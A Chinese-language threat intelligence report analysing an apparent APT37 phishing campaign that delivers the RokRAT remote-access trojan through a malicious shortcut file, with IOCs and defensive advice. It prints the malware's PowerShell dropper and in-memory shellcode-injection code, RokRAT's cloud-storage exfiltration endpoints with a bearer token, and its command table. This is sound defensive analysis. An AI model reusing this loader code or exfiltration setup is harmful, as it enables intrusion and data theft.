2024年4月:APT37组织针对中韩组织的攻击事件

概述

  瑞星威胁情报平台于2024年4月捕获一起攻击事件,该事件中使用的诱饵文档名字是韩语,文档内容是中文,猜测目标可能与中韩相关。在攻击过程中,攻击者疑似通过钓鱼邮件向受害者投递恶意压缩包,该压缩包内含有一个恶意的快捷方式,这个快捷方式指向一段恶意的PowerShell代码。PowerShell会释放诱饵文档迷惑用户的同时还会释放三个文件(分别为price.batpara.datpanic.dat),最终利用这些文件在内存中隐秘执行RokRAT远控木马,从而实现对受害者机器的完全控制,例如窃取受害者计算机上指定文件或者其他敏感信息、下发其他恶意程序并执行、捕获屏幕截图等。

  通过攻击手法等猜测此次事件可能和攻击组织APT37有关联。APT37是一个至少从2012年就开始对目标进行网络攻击的威胁组织,该组织又被称为KonniGroup123TEMP.Reaper等。APT37威胁组织疑似来自朝鲜,具有国家背景。该组织主要目的是信息盗窃和间谍活动,其目标包括中国,俄罗斯,印度,日本,韩国等,涉及的领域有航空航天、汽车、化工、金融、政府、医疗保健、制造和运输等。

ATT&CK矩阵

战术 技术 具体行为
TA0002-执行 T1059-命令和脚本解释器 使用PowerShell执行恶意命令
TA0002-执行 T1204-用户执行 诱使用户运行恶意快捷方式
TA0007-环境发现 T1082-收集系统信息 RokRAT收集系统信息
TA0007-环境发现 T1083-枚举文件和目录 RokRAT获取文件和文件夹列表
TA0009-收集信息 T1119-自动收集 RokRAT获取并上传用户信息
TA0009-收集信息 T1005-来自本地系统的数据 RokRAT获取系统信息
TA0009-收集信息 T1074-数据暂存 RokRAT将收集的信息暂存在指定文件中,并将文件上传
TA0009-收集信息 T1113-屏幕截图 RokRAT对受害者屏幕进行截图
TA0011-指挥与控制 T1105-文件传输工具 RokRAT下载文件到受害者机器上
TA0010-外传信息 T1020-自动外传 RokRAT会自动上传用户信息
TA0010-外传信息 T1030-数据传输大小限制 RokRAT分块上传收集的系统信息
TA0010-外传信息 T1567-通过公共Web服务外传 将收集到的数据发送到PCloud等云存储服务
TA0011-指挥与控制 T1071-应用层协议 RokRAT使用HTTPS协议与服务器进行通信

事件详情

  2024年4月,瑞星威胁情报中心捕获到一起攻击事件,该事件使用的诱饵文档名字是韩文,叫설비목록.doc,翻译为中文是设备清单。虽然这个诱饵文档的名字是韩文,但是其内容是用中文编写的,详述了面包生产线中多个机械设备的参数等信息。根据这个诱饵文档,猜测攻击的目标可能与中韩相关。

image

攻击流程

  攻击者疑似通过钓鱼邮件向受害者投递恶意压缩包,该压缩包含有一个指向恶意PowerShell代码的快捷方式。当快捷方式被点击后,PowerShell代码将被触发执行。PowerShell代码会释放三个bat文件(分别为price.batpara.datpanic.dat),然后启动price.bat文件。price.bat会读取和执行para.dat中的代码,而para.dat中的代码将在内存中以创建线程的方式执行panic.dat的代码,最后panic.dat代码会在内存中解密出RokRAT木马并执行。

image

相关负载分析

压缩包分析

字段 内容
文件MD5 580601BC3F7016B59F8919FA7433639B
文件类型 ZIP
文件大小 50.37 MB (52814178 bytes)

  压缩包内含有一个名为설비목록.lnk(翻译为:设备清单.lnk)的快捷方式文件,该快捷方式文件指向一段恶意的PowerShell代码。

image

设备清单.lnk分析

字段 内容
文件名 设备清单.lnk
原始文件名 설비목록.lnk
MD5 82F881A33EAFEE75FB1344432F76FAF6
文件类型 LNK
文件大小 50.37 MB (52814012 bytes)
病毒名 Trojan.Agent/LNK!1.AA03

  设备清单.lnk快捷方式文件指向一段恶意PowerShell代码。PowerShell代码会从设备清单.lnk快捷方式文件中提取出同名诱饵文档설비목록.doc(翻译为:设备清单.doc)的数据,存于该快捷方式同目录下。最后打开诱饵文档设备清单.doc来迷惑用户。

$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);
$lnkFile.Seek(0x0000108E, [System.IO.SeekOrigin]::Begin);
$pdfFile=New-Object byte[] 0x0087F800;
$lnkFile.Read($pdfFile, 0, 0x0087F800);
$pdfPath = $lnkPath.replace('.lnk','.doc');
sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;

  PowerShell代码会从设备清单.lnk快捷方式文件中提取三个文件,分别存放在%public%\panic.dat%temp%\para.dat以及%temp%\price.bat

$lnkFile.Seek(0x0088088E,[System.IO.SeekOrigin]::Begin);
$exeFile=New-Object byte[] 0x000D9402;
$lnkFile.Read($exeFile, 0, 0x000D9402);
$exePath=$env:public+'\'+'panic.dat';
sc $exePath $exeFile -Encoding Byte;
$lnkFile.Seek(0x00959C90,[System.IO.SeekOrigin]::Begin);
$stringByte = New-Object byte[] 0x000005A9;
$lnkFile.Read($stringByte, 0, 0x000005A9);
$batStrPath = $env:temp+'\'+'para.dat';
$string = [System.Text.Encoding]::UTF8.GetString($stringByte);
$string | Out-File -FilePath $batStrPath -Encoding ascii;
$lnkFile.Seek(0x0095A239,[System.IO.SeekOrigin]::Begin);
$batByte = New-Object byte[] 0x00000135;
$lnkFile.Read($batByte, 0, 0x00000135);
$executePath = $env:temp+'\'+'price.bat';
Write-Host $executePath;
Write-Host $batStrPath;
$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);
$bastString | Out-File -FilePath $executePath -Encoding ascii;
& $executePath;

  PowerShell代码会执行%temp%目录下的price.bat文件,然后强制删除设备清单.lnk快捷方式文件。

& $executePath;
$lnkFile.Close();
remove-item -path $lnkPath -force;

price.bat分析

字段 内容
文件名 price.bat
MD5 921ADBCC1036F4E37DB7E69F5218FFD0
文件类型 BAT
文件大小 309 bytes
备注 执行para.dat

  price.bat使用PowerShell读取并执行%temp%目录下的para.dat文件中的代码。

$stringPath = $env:temp + '\' + 'para.dat';
$stringByte = Get-Content -path $stringPath -encoding byte;
$string = [System.Text.Encoding]::UTF8.GetString($stringByte);
$scriptBlock = [scriptblock]::Create($string);
&$scriptBlock;

para.dat分析

字段 内容
文件名 para.dat
MD5 CE2C4BBD98C55E1EBF8C022F7A1A9CD5
文件类型 PS
文件大小 1449 bytes
病毒名 Trojan.Injector/PS!1.F9E3
备注 执行panic.dat

  指定与远程服务器通信时使用的安全协议为TLS 1.2

#设置 Net.ServicePointManager 的安全协议为 TLS 1.2(代码 3072)
 [Net.ServicePointManager]::SecurityProtocol = [Enum]::ToObject([Net.SecurityProtocolType], 3072);

  读取%temp%目录中的panic.dat文件内的数据,将读取的数据写入内存并创建线程执行。

$byteCount = $exeFile.Length;
$buffer = $b::GlobalAlloc(0x0040, $byteCount + 0x100);
$old = 0;
$a90234sb::VirtualProtect($buffer, $byteCount + 0x100, 0x40, [ref]$old);
for ($i = 0; $i -lt $byteCount; $i++) {
    [System.Runtime.InteropServices.Marshal]::WriteByte($buffer, $i, $exeFile[$i]); 
};
$handle = $cake3sd23::CreateThread(0, 0, $buffer, 0, 0, 0);
$fried3sd23::WaitForSingleObject($handle, 500 * 1000);

panic.dat分析

字段 内容
文件名 panic.dat
MD5 A043B3A2AF9DB6173E3A39B5C501A9BD
文件类型 ShellCode
文件大小 889858 bytes
病毒名 Trojan.ShellCode!1.F9EA
备注 执行RokRAT远控木马

   panic.dat是一段ShellCode,ShellCode的主要作用是在内存中XOR 0x29解密出PE并将其执行。通过分析发现,该PE其实是RokRAT远控木马。

image

RokRAT分析

字段 内容
MD5 12DD4814056582A6B6DC90920E3A8913
文件类型 EXE
文件大小 887808 bytes
病毒名 Backdoor.[APT37]RokRAT!1.D113

  RokRAT木马是一种基于云的远程访问工具,最早活跃于2017年。它常被APT37攻击组织所使用,主要用于窃取计算机敏感信息、下发文件运行、捕获屏幕截图等。它的C&C功能依赖于云基础设施,包括dropboxpCloudYandexOneDrive等。RokRAT通过借助这些云存储平台作为其指挥与控制服务器,来降低被检测风险。以下是关于此次RokRAT木马的简要分析。

  RokRAT获取电脑名、用户名、vmtoolsd.exe版本、SMBIOS数据、系统BIOS版本、当前程序所在的路径以及程序当前是否正在被调试等信息。

  GetComputerNameW(&word_4CFCEA, &nSize);
  nSize = 64;
  GetUserNameW(&word_4CFD6A, &nSize);
  GetModuleFileNameW(0, &Filename, 0xFFu);
  sub_40EAD6((CHAR *)&unk_4CFFEA);              // SMBiosData

  检测是否能对Windows目录进行写入操作:在Windows目录下成功创建bat文件后,又立马将其删除。

image

  对当前电脑显示画面进行截图,随机命名存于%temp%目录下。

image

  RokRAT通过访问https://cloud-api.yandex.net/v1/disk/resources?path=/&limit=500或者https://api.pcloud.com/listfolder?path=/以确保它具有访问权限并且令牌有效。

User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml, 
application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en- 
US,en;q=0.8
Authorization: Bearer JINs7ZDb7OvfloXrYZt8wH7kZ7LjA 
jGKBckj4kTgWSBiDSVWF1fKX

  RokRAT在获取到远控命令之前都会加密发送获取的数据到https://api.pcloud.com/uploadfile?path=%s&filename=%s&nopartial=1https://cloud-api.yandex.net/v1/disk/resources/upload?path=%s&overwrite=%shttps://content.dropboxapi.com/2/files/upload,然后等待服务器回应。

image

  接受RokRAT发过来的远控指令,执行指令对应的操作。

指令 功能
i/g 访问指定URL
j/b 结束当前RokRAT
d 删除startup自启目录中的VBS和LNK、删除%AppData%路径下的CMD、BAT以及名称以01结尾的文件,最后结束当前RokRAT
f 删除startup自启目录中的VBS,删除%AppData%路径下的CMD、BAT以及名称以01结尾的文件,最后结束当前RokRAT
h 收集全部盘符下的所有文件和文件夹列表,将结果存在%temp%目录下.tmp文件中,并将.tmp文件上传和删除
e 执行cmd命令
c 上传文件。其中Normal表示上传指定文件夹内后缀为.XLS .DOC .PPT .TXT .M4A .AMR .PDF .HWP的文件;All表示上传指定文件夹内所有文件
1/2 从传过来的URL上下载payload并创建线程执行,同时收集startup自启目录中文件列表,计算机系统信息、路由信息以及网络配置信息等存于%temp%目录下r.txt文件中,并将r.txt文件上传和删除
3/4 从指定URL上下载payload并创建线程执行,同时收集startup自启目录中文件列表,计算机系统信息、路由信息以及网络配置信息等存于%temp%目录下r.txt文件中,并将r.txt文件上传和删除
5/6 从传过来的URL上下载PE文件,将PE存在%temp%目录下的KB400928_doc.exe中,然后将其执行
7/8/9 从指定URL上下载PE文件,将PE存在%temp%目录下的KB400928_doc.exe中,然后将其执行

攻击过程可视化(EDR)

  瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程树以及相关的文件和文件流向等情况。

image

总结

  APT攻击有着针对性强、组织严密、持续时间长、高隐蔽性和间接攻击的显著特征,针对的目标都是具有重大信息资产,如国家军事、情报、战略部门和影响国计民生的行业如金融、能源等,国内相关政府机构和企业单位务必要引起重视,加强防御措施。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本

image

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    580601BC3F7016B59F8919FA7433639B
    82F881A33EAFEE75FB1344432F76FAF6
    921ADBCC1036F4E37DB7E69F5218FFD0
    CE2C4BBD98C55E1EBF8C022F7A1A9CD5
    A043B3A2AF9DB6173E3A39B5C501A9BD
    12DD4814056582A6B6DC90920E3A8913
  • 瑞星病毒名

    Backdoor.[APT37]RokRAT!1.D113

Author